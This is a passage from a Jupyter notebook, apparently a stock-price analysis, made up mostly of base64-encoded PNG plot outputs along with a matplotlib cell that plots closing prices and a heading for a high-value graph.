qTEiv9TAayB4T1OkYc9VvyfWrE733fbuQ7AfkmSUgB+1u2otp9tvv82IIT4PwDXA7i94oIKFcPzMiqW98Ewn6oDDO+v8RBKvud1UIfvFH7WbUAIoQFwI4Af5HX8rNuWuetFNOHvdgZt5v0HoL0Qok3FXfKpANY7uE2NQsX470UAjkuS9K7ReuP5UpMAyFma1gOYKoTwFEK0AdAehsm8VAtCCF8hhL+8DEPCgCMwvL9yJqVpANZVLK8HcFdFNqYBAHKMhiNQ7ajuxPKzbje1/Wz/BmC0ECK4YnjZ6Ip1ZCUhxBgATwG4QZKkQqP14UII94rlWBg+2+cq3vdcIcSAir8Nd6Hy50RWqsN3Cq9xbGMkgBOSJCnDHvlZtx1L14towt/tGkc3wBlJklQuhHgIhh+qO4DFkiQddXCzGovBAO4EcFhUpMgFMBfArUKInjB0c58HcD8ASJJ0VAjxI4BjMAy3mSVJks7ObW4MIgCsMXwHQgPgO0mSfhVC/AfgRyHEdAAXYJhQDQAbYcjEdAZAIYC77d9k11cRII9Cxee5wgJ+1m1LCLECwNUAwoQQCQDmAXgTtfhsS5KUKYR4BYYLWgB4WZIkaxM+NDkW3vNnYchUuLniu2aXJEkPwJB972UhRBkAPYAHjN7bBwF8A8AbhjlwxvPgqAoL7/vVtf1O4TWO9cy955IkLYLpXGWAn3VbsnS92GS/20XF6AUiIiIiIiJyQhweSURERERE5MQYtBERERERETkxBm1EREREREROjEEbERERERGRE2PQRkRERERE5MQYtBERERERETkxBm1EREREREROjEEbERERERGRE/t/uY7asRJFLEcAAAAASUVORK5CYII=", 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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(15,6))\n", + "plt.plot(df_close, c= \"g\")\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "kyXdB_3gHwqi" + }, + "source": [ + "**Plotting high value graph**" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "WuiHZp_1HQhT", + "outputId": "705a9821-01b8-43fa-97ce-872e912af44b" + }, + "outputs": [ + { + "data": { + "image/png": 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